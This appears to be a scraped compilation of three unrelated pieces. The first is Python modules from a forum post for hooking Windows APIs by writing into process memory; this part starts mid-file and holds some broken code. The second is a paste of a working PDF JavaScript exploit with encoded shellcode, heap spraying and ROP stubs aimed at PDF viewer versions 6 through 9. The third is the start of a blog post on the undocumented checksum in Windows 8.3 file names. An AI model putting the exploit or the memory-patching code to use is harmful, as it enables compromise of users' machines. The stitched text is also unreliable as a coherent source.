    cdata = c_buffer (data)  if isinstance (data, str)  else byref (data)

076
 

077
 

078
    if not address:    address = allocate (size, phandle)

079
 

080
    success = windll.kernel32.WriteProcessMemory (\

081
         

082
        phandle,

083
        address,

084
        cdata,

085
        size,

086
        0   )

087
 

088
    assert success, "Failed to write process memory!\n%s" % WinError (GetLastError()) [1]

089
    DB ("[write memory] :%s OK." % address)

090
 

091
    return address

092
 

093
 

094
 

095
 

096
 

097
 

098
 

099
 

100
def allocate (size, phandle):

101
    """Allocates memory of size in phandle."""

102
     

103
    address = windll.kernel32.VirtualAllocEx (\

104
             

105
            phandle,

106
            0,

107
            size,

108
            MEM_RESERVE | MEM_COMMIT,

109
            PAGE_EXECUTE_READWRITE   )

110
 

111
    assert address, "Failed to allocate memory!\n%s" % WinError(GetLastError()) [1]

112
    DB ("[memory allocation] :%s" % address)

113
 

114
    return address

115
 

116
 

117
 

118
 

119
 

120
 

121
 

122
 

123
def releaseMemory (address, size, phandle):

124
    """Releases memory by address."""

125
     

126
    return windll.kernel32.VirtualFreeEx (\

127
 

128
        phandle,

129
        address,

130
        size,

131
        MEM_RELEASE    )

132
 

133
    assert success, "Failed to read process memory!\n%s" % WinError(GetLastError()) [1]

134
 

135
    return cbuffer.raw

136
 

137
 

138
 

139
 

140
 

141
 

142
 

143
 

144
def transport (data, phandle):

145
 

146
    size = len (data)

147
    memory = allocate (size, phandle)

148
    writeMemory (phandle, memory, data)

149
    return memory

150
 

151
 

152
 

153
 

154
 

155
 

156
 

157
 

158
def get_patch (destination, params_size=0):

159
     

160
    """mov eax, destination

161
         call eax

162
         retn params_size

163
    """

164
     

165
    if isinstance (destination, (int,long)): destination = pack ("i", destination)

166
    if isinstance (params_size, (int,long)): params_size = pack ("h", params_size)    

167
     

168
    return '\xb8%s\xff\xd0\xc2%s' % (destination, params_size)

169
 

170
 

171
 

172
 

173
 

174
 

175
 

176
 

177
def get_cparams_size (cparams):

178
 

179
    if not cparams: return 0

180
     

181
    s = ''

182
 

183
    for param in cparams:

184
        s += "size += sizeof (%s);\n" % param

185
    c_code = """

186
int getsize ()

187
{

188
    int size = 0;

189
    %s

190
    return size;

191
}""" % s

192
 

193
    #DB (c_code)

194
    ccompiler = pytcc ()

195
    ccompiler.compile (c_code)

196
    ccompiler.relocate ()

197
    getsize = ccompiler.get_function ("getsize")

198
    size = getsize ()

199
    # ccompiler.delete ()

200
    return size

201
 

202
 

203
 

204
 

205
def get_cparams_size_b (cparams): 

206
    return sum (map (calcsize, [param._type_ for param in cparams]))

207
 

208
 

209
 

210
 

211
 

212
 

213
 

214
 

215
 

216
 

217
 

218
def find_good_spot_to_patch (apiaddress, needed_size,  maxscan=4000):

219
    """find_good_spot_to_patch (apiaddress, needed_size,  maxscan=4000):

220
Searches the instructions inside an API for a good place to patch."""

221
 

222
    # DEBUG

223
    if DEBUG == 2:

224
        bytes = PyGetString (apiaddress, needed_size * 2)

225
        dprint (apiaddress, bytes)

226
    # # # #

227
     

228
    aoffset = 0

229
    found_space = 0

230
    position = apiaddress

231
 

232
 

233
    while found_space < needed_size:

234
         

235
        bytes = PyGetString (position, 24)

236
        # DB ("found_space: %s.    aoffset: %s.    apiaddress: %s." % (found_space, aoffset, hex(position)))

237
        # if does_code_end_function (bytes): raise "Function end found before enough space was found!"

238
        offset, size, instruction, hexstr = Decode (position, bytes) [0]        

239
         

240
        if "ret" in instruction.lower (): raise "Function end found before enough space was found!"

241
         

242
        if not filter (lambda x:x.lower() in instruction.lower(), ["call", "jmp"]):

243
            found_space += size

244
        else:

245
            found_space = 0

246
 

247
        aoffset += size

248
        if aoffset >= maxscan: raise "Maxscan exceeded while searching for a good spot to patch!"

249
        position += size

250
 

251
 

252
    return apiaddress + (aoffset - found_space)

253
 

254
 

255
 

256
 

257
 

258
 

259
 

260
 

261
class patcher:

262
     

263
    source = None

264
    destination = None

265
    jmp_asm = None

266
    original_bytes = None

267
    params_size = 0

268
    pid = None

269
    phandle = None

270
 

271
 

272
    duplicate_api = None

273
    original_api = None

274
 

275
 

276
 

277
     

278
    def __init__ (self,

279
                 

280
                  source=None,

281
                  destination=None,

282
                  params_size=0,

283
                  pid=GetCurrentProcessId () ):

284
 

285
         

286
        self.set_pid (pid)

287
        self.set_source (source)

288
        self.set_destination (destination)

289
        self.set_params_size (params_size)

290
 

291
 

292
         

293
         

294
    def set_pid (self, pid):

295
 

296
        self.close ()

297
        self.phandle = OpenProcess (pid)

298
        self.pid = pid

299
 

300
    def set_source (self, source):    self.source = source

301
    def set_destination (self, destination):    self.destination = destination

302
    def set_params_size (self, size):    self.params_size = size

303
    def set_source_as_api (self, apiname, dllname="kernel32.dll", free=True):

304
 

305
        module = LoadLibrary (dllname)

306
        procedure = GetProcAddress (module, apiname)

307
        if free:    FreeLibrary (module)

308
        assert procedure

309
        self.original_api = eval ("windll.%s.%s" % (dllname.strip(".dll"), apiname))

310
 

311
        self.source = find_good_spot_to_patch (procedure, len (get_patch (0, self.params_size)))

312
        if DEBUG:    DB ("found good spot to patch: %s    %s. Offset from original api address: %s." \

313
        %(self.source, hex (self.source), self.source - procedure))

314
 

315
 

316
 

317
 

318
    def patch (self):

319
 

320
        assert all ((self.phandle, self.source, self.destination)), "Patch source or destination not set!"

321
        assert not self.original_bytes, "Already patched!"

322
         

323
        self.jmp_asm = get_patch (self.destination, self.params_size)

324
        jmp_asm_size = len (self.jmp_asm)

325
         

326
        self.original_bytes = PyGetString (self.source, jmp_asm_size)

327
        assert self.original_bytes, "Failed to capture original_bytes."

328
         

329
    

330
         

331
        writeMemory (\

332
            phandle=self.phandle,

333
            address=self.source,

334
            data=self.jmp_asm)

335
 

336
 

337
        msg = "[jmp_asm]:%s\n[jmp_asm_size]:%s\n[original_bytes]:%s\n" \

338
        % (repr (self.jmp_asm), jmp_asm_size, repr (self.original_bytes))

339
        DB (msg)

340
 

341
 

342
 

343
 

344
    def unpatch (self):

345
 

346
        if not self.original_bytes:    raise "Not patched!"

347
        assert all ((self.phandle, self.source, self.destination)), "Not initialized!"

348
         

349
        writeMemory (\

350
 

351
            phandle=self.phandle,

352
            address=self.source,

353
            data=self.original_bytes   )

354
 

355
        self.original_bytes = None

356
 

357
 

358
    def close (self):

359
         

360
        if self.phandle:

361
            windll.kernel32.CloseHandle (self.phandle)

362
            self.phandle = None

363
 

364
 

365
    def release (self):

366
        if self.phandle and self.duplicate_api:

367
            releaseMemory (self.duplicate_api, 0, self.phandle)

368
 

369
 

370
    def call_original_api (self, *args, **kwargs):     return self.original_api (*args, **kwargs)

371
 

372
     

373
    def call_duplicate_api (self, types, *args, **kwargs):

374
 

375
        return WINFUNCTYPE (c_void_p, types) (self.duplicate_api) (*args, **kwargs) 

376
 

377
 

378
    def __del__ (self):

379
 

380
        try:self.unpatch ()

381
        except:pass

382
        try:self.release ()

383
        except:pass

384
        try:self.close ()

385
        except:pass

386
 

387
 

388
 

389
 

390
 

391
 

392
 

393
         

394
def dprint (a, c):

395
    """Pretty prints disassembled bytes. dprint (offset, bytes)."""

396
    x = Decode (a, c)

397
 

398
    print "[deci addr  :  hexi addr]  [size]       instruction\n"

399
 

400
    for offset, size, instruction, hexstr in x:

401
 

402
        print "[%s : %s]  [%s]        %s" % (a,hex (a), size, instruction)

403
        a += size

404
 

405
    print

406
         

407
   

408
 

409
 

410
#cad


CODE Python Language
001
# tramper.py

002
# Relocates bytes of an API and creates a jump from those bytes to the original API affectively negating a hook.

003
# TODO !Recalculate Relocated Relative jmp and call addresses. 

004
# public domain code.

005
 

006
from ctypes import *

007
from win32api import *

008
from pytcc import pytcc

009
from struct import pack, unpack

010
from win32gui import PyGetString, PySetMemory, PySetString

011
from win32con import MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS

012
 

013
from distorm import Decode

014
from patcher import OpenProcess, readMemory, writeMemory, allocate, transport

015
 

016
 

017
DEBUG  = True

018
def DB (msg):

019
    global DEBUG

020
    if DEBUG: print (msg)

021
 

022
 

023
 

024
 

025
 

026
 

027
 

028
 

029
 

030
def tramper (apiaddress, hook_size, apiname=None, dllname="kernel32"):

031
    """tramper (apiaddress, hook_size, apiname=None, dllname="kernel32"):

032
Creates a duplicate API using the trampoline method and returns its address.

033
    """

034
     

035
    if DEBUG: global hprocess, landing_offset, instructions, landing_address, tramp_memory, tramp_code, original_bytes

036
 

037
    if not apiaddress:

038
        dll = LoadLibrary (dllname)

039
        apiaddress = GetProcAddress (dll, apiname)

040
     

041
    landing_offset = 0

042
    hprocess = OpenProcess ()

043
    original_bytes = PyGetString (apiaddress, 300)

044
 

045
    tramp_memory = allocate (len (original_bytes) + 50, hprocess)

046
    print "Tramp memory: %s    %s." % (tramp_memory, hex (tramp_memory))

047
 

048
    instructions = Decode (apiaddress, original_bytes)

049
    sizes = iter ([X[1] for X in instructions])

050
 

051
 

052
    while landing_offset < hook_size:

053
 

054
        landing_offset += sizes.next ()

055
 

056
 

057
    landing_address = apiaddress + landing_offset

058
     

059
    DB ("Landing offset : %s    %s" % (landing_offset, hex (landing_offset)))

060
    DB ("Landing address: %s    %s"  % (landing_address, hex (landing_address)))

061
 

062
    distance = landing_address - (tramp_memory +landing_offset)

063
    DB ("Distance: %s    %s." % (distance, hex (distance)))

064
     

065
    tramp_code = original_bytes [:landing_offset] # api start - past hook - to start of instruction

066
    instructions = Decode (apiaddress, tramp_code)

067
 

068
            

069
    boffset = 0

070
    for offset, size, instruction, hexstr in instructions:

071
      

072
        if filter (lambda x:x.lower() in instruction.lower(), ["call", "jmp"]):

073
            raise "[not supported yet] Cannot relocate CALL/JMP Instructions. Address: %s"% (apiaddress + boffset)

074
 

075
        boffset += size

076
 

077
 

078
    #

079
    # TODO !Recalculate Relocated Relative jmp and call addresses. 

080
    #

081
 

082
 

083
    jump_code = '\xe9' + pack ("i", distance - 5)   # bytes = jmp (distance - size of jump)   

084
    tramp_code += jump_code

085
 

086
    # DEBUG

087
    DB ("Tramp [size]: %s [bytes]; %s" % (len(tramp_code), (repr(tramp_code))))

088
    DB ("Tramper api decode.")

089
    if DEBUG:    dprint (apiaddress, tramp_code)

090
    # # # #

091
 

092
    writeMemory (hprocess, tramp_memory, tramp_code)

093
    CloseHandle (hprocess)

094
 

095
    return tramp_memory

096
 

097
 

098
 

099
 

100
 

101
 

102
 

103
 

104
def dprint (a, c):

105
    """ pretty print disassembled bytes. dprint (offset, bytes)."""

106
 

107
    x = Decode (a, c)

108
    print "[deci addr  :  hexi addr] [size]       instruction\n"

109
 

110
    for offset, size, instruction, hexstr in x:

111
 

112
        print "[%s : %s]  [%s]        %s" % (a,hex (a), size, instruction)

113
        a += size

114
         

115
 

116
 

117
 

118
 

119
 

120
 

121
if __name__ == "__main__":

122
     

123
    # Test.

124
 

125
    lib = LoadLibrary ("kernel32")

126
    OpenProcessAddr = GetProcAddress (lib, "OpenProcess")

127
    FreeLibrary (lib)

128
 

129
     

130
    trampAddr = tramper (\

131
 

132
        apiaddress=OpenProcessAddr,  # (optional if apiname is defined) API address to duplicate.

133
        hook_size=10, # size of our API jmp code. (minimum size of relocated API bytes)

134
        apiname=None, # (optional)

135
        dllname="kernel32") # (optional / defaults to kernel32)

136
 

137
 

138
 

139
    # Prototype the OpenProcess trampoline.

140
    duplicate_OpenProcess = WINFUNCTYPE (c_int, c_int, c_int, c_int) (trampAddr)

141
 

142
    pid = GetCurrentProcessId ()

143
 

144
    print "Calling duplicate OpenProcess with pid: %s" % pid

145
    phandle = duplicate_OpenProcess (0x1f0fff, 0, pid)

146
    print "Return value: %s." %phandle

147
 

148
    if phandle: CloseHandle (phandle)

149
     

150
 

151
     

152
 

153
#cad


CODE Python Language
001
# hooker.py

002
# deals with hooking of win32 APIs.

003
# public domain code.

004
 

005
 

006
from patcher import *

007
from tramper import tramper

008
from win32api import *

009
from pytcc import pytcc

010
 

011
 

012
 

013
 

014
 

015
 

016
 

017
def create_hook (duplicate_api, cparam_types='', prelogic="", postlogic="", restype="int"):

018
    """ create_hook (pat, duplicate_api, cparam_types='', prelogic="", postlogic="", restype="int"):

019
    """

020
 

021
    c_code =\

022
"""

023
%s function (int caller, %s)

024
{

025
    %s

026
    %s  RET = DUPE ( %s );

027
    %s

028
    return RET;

029
}"""

030
 

031
    cargs = ''

032
    symbols = ''

033
    for arg, char in zip (cparam_types, "ABCDEFGHIJKLMNOPQRSTUVWXYZ"):

034
 

035
        symbols += "%s, " % char

036
        cargs += "%s %s, " % (arg, char)

037
 

038
    symbols = symbols [:-2]

039
    cargs = cargs [:-2]

040
 

041
    c_code = c_code % (restype, cargs, prelogic, restype, symbols, postlogic)

042
    ccompiler = pytcc ()

043
    ccompiler.add_lib_proc ("msvcrt.dll", "memset")

044
    ccompiler.add_symbol ("DUPE", duplicate_api)

045
    ccompiler.compile (c_code)

046
    ccompiler.relocate ()

047
     

048
    hook = ccompiler.get_symbol ("function")

049
 

050
    return (c_code, hook)

051
 

052
 

053
 

054
 

055
 

056
 

057
 

058
 

059
def hooker (apiname, cparam_types=list(), restype="int", prelogic='',  postlogic='', pid=GetCurrentProcessId(), dllname="kernel32"):

060
    """hooker (apiname, cparam_types=list(), restype="int", prelogic='',  postlogic='', pid=GetCurrentProcessId(), dllname="kernel32"):

061
    """

062
 

063
    pat = patcher ()

064
     

065
    params_size = get_cparams_size (cparam_types)

066
    pat.set_params_size (params_size)

067
     

068
    pat.set_source_as_api (apiname, dllname)

069
 

070
    hook_size = len (get_patch (pat.destination, pat.params_size))

071
    tramp = tramper (pat.source, hook_size)

072
    pat.duplicate_api = tramp

073
 

074
    hook_ccode, hooks = create_hook (tramp, cparam_types, prelogic, postlogic, restype)

075
    pat.c_code = hook_ccode

076
    pat.set_destination (hooks)

077
     

078
    return pat

079
 

080
 

081
 

082
 

083
 

084
 

085
 

086
 

087
if __name__ == '__main__':

088
 

089
    # Test.

090
 

091
 

092
    hook = hooker (\

093
         

094
        # API to hook

095
        apiname="OpenProcess",

096
 

097
        # the DLL the API is in.  (defaults to kernel32)  

098
        dllname="kernel32",

099
         

100
        # (required) API parameter types. In our hook these get translated to the names A,B,C...respectively.

101
        cparam_types=["int", "int", "int"],

102
 

103
        # (required) the API return type.

104
        restype="int",

105
 

106
        # (optional) this is the code in our hook wich is executed Before the real API.

107
        prelogic="if (C==1) {return 1111;}",

108
 

109
        # (optional) this is the code in our hook wich is executed After the real API.   The real API's return value is named RET.

110
        postlogic="if (RET) {return 0;}"

111
        )

112
 

113
     

114
    # hook API.

115
    # hook automatically unhooks itself and cleans up when it isnt refered to anymore.

116
    hook.patch ()

117
 

118
    print "Calling hooked OpenProcess api with process id as 1."

119
    ret = windll.kernel32.OpenProcess (0x1f0fff, 0, 1)

120
     

121
    print "Return value: %s" % ret

122
    if ret == 1111: print "This test was sucesful."

123
    else: print "Return value is unexpected."

124
 

125
    # unhook API.

126
    # hook.unpatch ()

127
         

128
 

129
 

130
#cad
Attached File(s)
·  pyhooking.rar (127.65K) 
Number of downloads: 87

This post has been edited by cadaver: 03 February 2011 - 11:51 PM 
Writing Shady Code So You Don't Have To. 
﻿19700101T000000Z http://pastie.org/1145310 
#1145310 - Pastie
Created:
9/10/2010 9:55:03 AM
Updated:
9/10/2010 3:36:15 PM
Author:
wishi
Tags:
Exploit zeroday pdf JavaScript


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
// stubs for rhino
var app = new Object();
app.viewerVersion = 9.304;
app.platform = "WIN";
app.alert = print;



function str_repeat(str,times){
 ret = ""
 var i;
 for (i = 0; i < times; i++){
   ret = ret + str;
 }
 return ret;
}


var perc = "%u";

shellcode = "";
shellcode = shellcode + "M52e8M0002M5400M7265M696dM616eM657";
shellcode = shellcode + "4M7250M636fM7365M0073M6f4cM6461M69";
shellcode = shellcode + "4cM7262M7261M4179M5300M7465M6946M6";
shellcode = shellcode + "56cM6f50M6e69M6574M0072M6552M6461M";
shellcode = shellcode + "6946M656cM4300M6572M7461M4665M6c69";
shellcode = shellcode + "M4165M5700M6972M6574M6946M656cM430";
shellcode = shellcode + "0M6f6cM6573M6148M646eM656cM4700M74";
shellcode = shellcode + "65M6554M706dM6150M6874M0041M516aM5";
shellcode = shellcode + "336Mc931M8b64M3071M768bM8b0cM1c76M";
shellcode = shellcode + "468bM8b08M207eM368bM3f81M006bM0065";
shellcode = shellcode + "Mf075M7f81M7204M6e00M7500Mc3e7Mc38";
shellcode = shellcode + "9M5b03M8d3cM185bM138bM8166M0bfaM75";
shellcode = shellcode + "01M8b05M6053M05ebM538bMeb70M0100M8";
shellcode = shellcode + "bc2M1c5aMc301M4a8bM0120M8bc1M2472M";
shellcode = shellcode + "c601M31c3M56c0M9d8bM02ebM0000Mbd8b";
shellcode = shellcode + "M02e7M0000M3c03M5183Ma6f3M5e59M037";
shellcode = shellcode + "4Meb40M8be6Mf395M0002M3100M66c9M0c";
shellcode = shellcode + "8bM8b42Mef9dM0002M8b00Me7bdM0002M0";
shellcode = shellcode + "300M8b3cM8dc3M0075Mc031Mf789Mc931M";
shellcode = shellcode + "f249M57aeMd9f7M5649Mb2e8MffffM5eff";
shellcode = shellcode + "M3e89M8d5eM655dMde39Me272M8dc3Mf79";
shellcode = shellcode + "dM0002M5300Mff53M5855Md801M00c7M6c";
shellcode = shellcode + "68M2e70M40c7M6304M6c70M3100M89c0M4";
shellcode = shellcode + "2c2Md189Me1c1M421eM5050M5052M5150M";
shellcode = shellcode + "9d8dM02f7M0000Mff53M3655M31c3M50c0";
shellcode = shellcode + "M8d8dM02dfM0000M6a51M8d04Md78dM000";
shellcode = shellcode + "2M5100M4d8bM5165M55ffM8b2dMdf85M00";
shellcode = shellcode + "02M8500M74c0M8176MD7BDM0002M6A00M3";
shellcode = shellcode + "651M7453M906AM9090M9090M9090M9090M";
shellcode = shellcode + "9090M9090M9090M9090M9090M9090M9090";
shellcode = shellcode + "M9090M9090M9090M9090M9090M9090M909";
shellcode = shellcode + "0M9090M9090M9090M9090M9090M9090M90";
shellcode = shellcode + "90M9090M9090M8190MD7B5M0002MAF00MD";
shellcode = shellcode + "780M317EM50c0M8d8dM02dfM0000M198bM";
shellcode = shellcode + "9090M5351M8d8dM02d7M0000M8b51Me38d";
shellcode = shellcode + "M0002M5100M55ffM8542M0fc0M6685Mfff";
shellcode = shellcode + "fM8bffMe385M0002M5000M55ffMc34cMd2";
shellcode = shellcode + "31Mdb31M6a52M5302Mf868MffffM52ffM5";
shellcode = shellcode + "5ffM5a1eMff3dMffffM737fM5232M8d53M";
shellcode = shellcode + "df8dM0002M5100M086aM8d8dM02d7M0000";
shellcode = shellcode + "M5251M55ffM5a2dMf883M7e00M8b16Mdf8";
shellcode = shellcode + "5M0002M8300M08f8M0b75M858bM02d7M00";
shellcode = shellcode + "00M453bM7465M4203Mb6ebM6a52M5302M9";
shellcode = shellcode + "d8bM02dbM0000Mdbf7M5253M55ffM5a1eM";
shellcode = shellcode + "5dc3M11e8MfffeM89ffMe785M0002Me800";
shellcode = shellcode + "Mfe2cMffffM8d89M02ebM0000M9d89M02e";
shellcode = shellcode + "fM0000Mb589M02f3M0000M7ae8MfffeMe8";
shellcode = shellcode + "ffMff72MffffM5589Me865Mfe8fMffffM8";
shellcode = shellcode + "589M02e3M0000Mbae8MfffeM8dffMf79dM";
shellcode = shellcode + "0002M5300M55ffM2911M53dbM5353M0553";
shellcode = shellcode + "M17a0M0000Md0ffM4d8bM8d00Md7b5M000";
shellcode = shellcode + "2M8d00M00beM0002M0f00M8831M4606Mfe";
shellcode = shellcode + "39Mf775Mee89Mbd8dM02c9M0000M310fM0";
shellcode = shellcode + "688M3946M75feM4bf7M5353Md1ff";

shellcode = shellcode.replace(/M/g, perc);
shellcode = unescape(shellcode);



function final_spray(shellcode, hrmz_stub, num_refs){
 var block_sz = 1024;

 var hrmz_repeat = str_repeat(hrmz_stub, block_sz);
 var hrmz_padded = str_repeat(hrmz_stub, block_sz - (shellcode.length/2)) + shellcode;

 var NumberOfFirstEntry = str_repeat(hrmz_stub, block_sz - 18);
 var NumberOfOtherEntry = str_repeat(hrmz_stub, block_sz - 11);

 var array1 = [];
 for (i = 0; i < 16 - 2; i++ ){
  array1.push( hrmz_repeat );
 }
 array1.push(hrmz_padded);
 var joined = array1.join("");

 this.array2 = new Array();

 for( i = 0; i < num_refs; i++ ){
  if (i == 0){
   this.array2[i] = NumberOfFirstEntry + joined;
  } else{
   this.array2[i] = NumberOfOtherEntry + joined;
  }
 }
}


hrmz = "M4142M4241";
hrmz = hrmz.replace(/M/g,perc);
hrmz = unescape(hrmz);


var ver = (app.viewerVersion / 10.0);

if ( app.platform == "WIN" ){ 
 if ( ver <= 0.5999 ) {

  // 5.x
  app.alert("Please update your PDF viewer software.");

 } else if ( ver <= 0.6999999999 ) {

  // 6.x
  global.dunno = str_repeat(hrmz, 500) + shellcode;
  this.pageNum = 11;

 } else if ( ver <= 0.7999999999 ) {

  // 7.x
  global.dunno = str_repeat(hrmz, 500) + shellcode;
  this.pageNum = 12;

 } else if ( ver <= 0.8999999999 ) {

  // 8.x
  stub_8x = "";
  stub_8x = stub_8x + "M17f2M4a82M5000M4a84M630fM4a80M7ec9M4a";
  stub_8x = stub_8x + "81M203cM4a82M57bcM4a80M156aM4a82M54e0M";
  stub_8x = stub_8x + "4a82M0000M1000M0000M0000M0000M0000M000";
  stub_8x = stub_8x + "2M0000M0102M0000M0000M0000M17f2M4a82M1";
  stub_8x = stub_8x + "56aM4a82Mfe83M4a81Me982M4a81M0008M0000";
  stub_8x = stub_8x + "M597dM4a80M7ec9M4a81M2038M4a82M57bcM4a";
  stub_8x = stub_8x + "80M156aM4a82MffffMffffM0000M0000M0040M";
  stub_8x = stub_8x + "0000M0000M0000M0000M0001M0000M0000M17f";
  stub_8x = stub_8x + "2M4a82M156aM4a82Mfe83M4a81Me982M4a81M0";
  stub_8x = stub_8x + "008M0000M597dM4a80M7ec9M4a81M2030M4a82";
  stub_8x = stub_8x + "M57bcM4a80M156aM4a82MffffMffffM0022M00";
  stub_8x = stub_8x + "00M0000M0000M0000M0000M0000M0001M17f2M";
  stub_8x = stub_8x + "4a82M5004M4a84M630fM4a80M17f2M4a82M156";
  stub_8x = stub_8x + "aM4a82Mfe83M4a81Me982M4a81M0030M0000M5";
  stub_8x = stub_8x + "97dM4a80M7ec9M4a81M5004M4a84Ma649M4a81";
  stub_8x = stub_8x + "M17f2M4a82M156aM4a82Mfe83M4a81Me982M4a";
  stub_8x = stub_8x + "81M0020M0000M597dM4a80M17f2M4a82M156aM";
  stub_8x = stub_8x + "4a82M00a0M4a82M7ec9M4a81M0034M0000M795";
  stub_8x = stub_8x + "aM4a80M17f2M4a82M156aM4a82Mfe83M4a81Me";
  stub_8x = stub_8x + "982M4a81M000aM0000M597dM4a80M7ec9M4a81";
  stub_8x = stub_8x + "M2140M4a82M57bcM4a80MffffMffffMffffMff";
  stub_8x = stub_8x + "ffMffffMffffM1000M0000M258bM5000M4a84M";
  stub_8x = stub_8x + "4d4d";

  stub_8x = stub_8x.replace(/M/g,perc);
  stub_8x = unescape(stub_8x);


  hrmz_8x = "";
  hrmz_8x = hrmz_8x + "M12c4M4a80";

  hrmz_8x = hrmz_8x.replace(/M/g,perc);
  hrmz_8x = unescape(hrmz_8x);


  final_spray(stub_8x + shellcode, hrmz_8x, 2000);
  this.pageNum = 13;

 } else if ( ver <= 0.9999999999 ) {

  // 9.x
  stub_9x = "";
  stub_9x = stub_9x + "M63a5M4a80M0000M4a8aM2196M4";
  stub_9x = stub_9x + "a80M1f90M4a80M903cM4a84Mb69";
  stub_9x = stub_9x + "2M4a80M1064M4a80M22c8M4a85M";
  stub_9x = stub_9x + "0000M1000M0000M0000M0000M00";
  stub_9x = stub_9x + "00M0002M0000M0102M0000M0000";
  stub_9x = stub_9x + "M0000M63a5M4a80M1064M4a80M2";
  stub_9x = stub_9x + "db2M4a84M2ab1M4a80M0008M000";
  stub_9x = stub_9x + "0Ma8a6M4a80M1f90M4a80M9038M";
  stub_9x = stub_9x + "4a84Mb692M4a80M1064M4a80Mff";
  stub_9x = stub_9x + "ffMffffM0000M0000M0040M0000";
  stub_9x = stub_9x + "M0000M0000M0000M0001M0000M0";
  stub_9x = stub_9x + "000M63a5M4a80M1064M4a80M2db";
  stub_9x = stub_9x + "2M4a84M2ab1M4a80M0008M0000M";
  stub_9x = stub_9x + "a8a6M4a80M1f90M4a80M9030M4a";
  stub_9x = stub_9x + "84Mb692M4a80M1064M4a80Mffff";
  stub_9x = stub_9x + "MffffM0022M0000M0000M0000M0";
  stub_9x = stub_9x + "000M0000M0000M0001M63a5M4a8";
  stub_9x = stub_9x + "0M0004M4a8aM2196M4a80M63a5M";
  stub_9x = stub_9x + "4a80M1064M4a80M2db2M4a84M2a";
  stub_9x = stub_9x + "b1M4a80M0030M0000Ma8a6M4a80";
  stub_9x = stub_9x + "M1f90M4a80M0004M4a8aMa7d8M4";
  stub_9x = stub_9x + "a80M63a5M4a80M1064M4a80M2db";
  stub_9x = stub_9x + "2M4a84M2ab1M4a80M0020M0000M";
  stub_9x = stub_9x + "a8a6M4a80M63a5M4a80M1064M4a";
  stub_9x = stub_9x + "80MaedcM4a80M1f90M4a80M0034";
  stub_9x = stub_9x + "M0000Md585M4a80M63a5M4a80M1";
  stub_9x = stub_9x + "064M4a80M2db2M4a84M2ab1M4a8";
  stub_9x = stub_9x + "0M000aM0000Ma8a6M4a80M1f90M";
  stub_9x = stub_9x + "4a80M9170M4a84Mb692M4a80Mff";
  stub_9x = stub_9x + "ffMffffMffffMffffMffffMffff";
  stub_9x = stub_9x + "M1000M0000M258bM0000M4a8aM4";
  stub_9x = stub_9x + "d4d";

  stub_9x = stub_9x.replace(/M/g,perc);
  stub_9x = unescape(stub_9x);


  hrmz_9x = "";
  hrmz_9x = hrmz_9x + "M1064M4a80";

  hrmz_9x = hrmz_9x.replace(/M/g,perc);
  hrmz_9x = unescape(hrmz_9x);


  final_spray(stub_9x + shellcode, hrmz_9x, 2000);
  this.pageNum = 14;

 } else {
  app.alert("Please update your PDF viewer software.");
 }
} else {
 app.alert("Please update your PDF viewer software.");
}

﻿https://usn.pw/blog/gen/2015/06/09/filenames/ 
A Tale of Two File Names – username.password
Created:
6/11/2015 10:11:29 AM
Updated:
6/11/2015 10:11:29 AM
Author:

Tags:
windows environment


Users of DOS or older versions of Windows will have invariably stumbled upon a quirk of Windows’ handling of file names at some point. File names which are longer than 8 characters, have an extension other than 3 character long, or aren’t upper-case and alphanumeric, are (in some situations) truncated to an ugly shorter version which contains a tilde (~) in it somewhere. For example, 5+6 June Report.doc will be turned into 5_6JUN~1.DOC. This is relic of the limitations brought about by older versions of FAT used in DOS and older versions of pre-NT Windows.
In case you aren’t aware of how 8.3 file names work, here’s a quick run-down.
· All periods other than the one separating the filename from the extension are dropped - a.testing.file.bat turns into atestingfile.bat.
· Certain special characters like + are turned into underscores, and others are dropped. The file name is upper-cased. 1+2+3 Hello World.exe turns into 1_2_3HELLOWORLD.EXE.
· The file extension is truncated to 3 characters, and (if longer than 8 characters) the file name is truncated to 6 characters followed by ~1. SomeStuff.aspx turns into SOMEST~1.ASP.
· If these would cause a collision, ~2 is used instead, followed by ~3 and ~4.
· Instead of going to ~5, the file name is truncated down to 2 characters, with the replaced replaced by a hexadecimal checksum of the long filename - SomeStuff.aspx turns into SOBC84~1.ASP, where BC84 is the result of the (previously-)undocumented checksum function.
The name “8.3” derives from the 8 characters in the filename and the 3 characters in the extension (rather than a version number, as I previously assumed). You can still use 8.3 file names in modern Windows - type C:\PROGRA~1\ into Windows Explorer and see where it takes you.

The short file names don't update retroactively - files 5 and 6 were created after the short file name for files 1 to 4 had been created, so only 5 and 6 use the checksum. As expected for an obscure Windows feature, all of this is about as well-documented as the Antikythera mechanism.
This post focuses on the undocumented checksum function mentioned in the final bullet point. I’m a stickler for uncovering undescribed or hidden behaviour, which is why The Cutting Room Floor is one of my favourite websites. As far as I’m aware, there is absolutely no external documentation on this particular checksum function, even on Microsoft’s own support website1 or MSDN23 - this is just asking to be uncovered.
I started digging around by making a small executable in C++ to call the Windows API function GetShortPathName on the command-line parameter, so I could see exactly how this API function behaved. Here’s the source code (you’ll need to import Windows.h):
#include "stdafx.h"

int _tmain(int argc, _TCHAR* argv[])
{
    WCHAR shortBuffer[512];
    GetShortPathName(argv[1], shortBuffer, 512);
    wprintf_s(L"%s\r\n", shortBuffer);
    return 0;
}

I found that the short path name will not change (including tilde number and checksum) once it is created, unless the file name itself is also changed. This means that GetShortPathName must just retrieve the 8.3 file name from disk rather than actually calculating it on the fly. I tested the file checksums against some common hash functions, to no avail - Microsoft must’ve rolled their own at some point. Since I’m not a cryptanalyst I realised the only way that I would find the checksum function would be to open up the Windows API for myself.
